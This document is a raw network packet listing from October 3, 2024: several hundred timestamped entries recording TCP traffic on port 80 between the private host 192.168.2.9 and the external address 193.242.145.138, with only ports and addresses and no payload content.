Oct 3, 2024 09:20:36.249820948 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249831915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249842882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249854088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249856949 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249866009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249876976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249881983 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249890089 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249902010 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249907017 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249916077 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249927044 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249928951 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249941111 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249950886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249954939 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249963999 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249974966 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249977112 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249988079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250000954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250001907 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250016928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250025988 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250030041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250040054 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250066042 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250721931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250741959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250752926 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250763893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250775099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250786066 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250797033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250797987 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250809908 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250822067 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250833035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250838041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250838041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250844955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250858068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250870943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250874043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250874996 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250883102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250895977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250909090 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250911951 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250920057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250933886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250936031 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250947952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.250955105 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.250981092 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251646042 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251676083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251688957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251694918 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251702070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251714945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251725912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251733065 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251738071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251750946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251755953 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251763105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251775026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251780033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251789093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251801014 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251806021 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251813889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251826048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251828909 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251837015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251849890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251852989 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251861095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251874924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251887083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.251893997 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251919031 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.251946926 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252593994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252621889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252634048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252645016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252656937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252664089 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252669096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252681971 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252690077 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252695084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252707005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252717972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252718925 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252731085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252742052 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252743959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252756119 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252763033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252768040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252782106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252794981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252796888 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252806902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252820015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252824068 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252831936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.252842903 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.252868891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253294945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253309011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253320932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253326893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253338099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253345966 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253350019 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253362894 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253376007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253376007 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253387928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253400087 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253406048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253406048 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253412962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253487110 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253801107 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253814936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253825903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253842115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253853083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253856897 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253864050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253875017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253885031 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253885984 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253906965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253909111 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253922939 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253927946 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253937006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253947973 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.253948927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253956079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253967047 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253972054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253978968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253990889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.253993988 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254003048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254015923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254020929 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254028082 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254040956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254049063 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254069090 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254070997 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254084110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254089117 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254096031 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254132986 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254687071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254703999 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254714012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254725933 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254734039 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254738092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254750013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254760027 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254765034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.254780054 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.254810095 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.411079884 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.416059017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.416089058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.416102886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.416201115 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.416527987 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.421407938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421454906 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421468019 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421509981 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.421542883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421566963 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.421626091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421648026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421658993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421672106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421677113 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.421710968 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.421905994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421916962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421953917 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.421963930 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421977043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.421988964 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422000885 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422009945 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422013044 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422029018 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422061920 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422265053 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422276974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422287941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422301054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422312975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422314882 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422323942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422336102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422360897 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422364950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422379017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422384977 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422390938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422403097 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422437906 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422719955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422732115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422795057 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422872066 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422883987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422894955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422909021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422919989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422931910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422931910 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422943115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422952890 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.422955990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422969103 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422987938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.422988892 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423001051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423010111 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423034906 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423491001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423504114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423515081 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423526049 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423540115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423544884 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423549891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423562050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423566103 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423572063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423603058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423614979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423624992 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423626900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423625946 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423636913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423649073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423657894 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423660040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423671961 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423682928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423683882 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423693895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423716068 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423722029 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423733950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.423734903 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.423790932 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.424451113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424472094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424484015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424494982 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424505949 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424520016 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424524069 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.424530983 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424542904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424545050 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.424554110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424566031 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424575090 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.424577951 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424588919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424596071 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.424601078 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424613953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424623966 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424637079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424637079 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.424647093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424657106 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.424659967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424670935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.424695969 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.424714088 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425359011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425374985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425385952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425398111 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425410032 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425416946 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425446033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425474882 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425527096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425539017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425549984 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425561905 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425571918 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425589085 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425590992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425604105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425611019 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425616980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425628901 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425641060 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425641060 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425652027 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425662041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425663948 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425676107 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425678968 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425688028 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.425721884 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.425749063 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426296949 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426309109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426320076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426342964 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426353931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426357031 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426366091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426378012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426388979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.426389933 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.426399946 CEST	80	49706	193.242.145.138	192.168.2.9
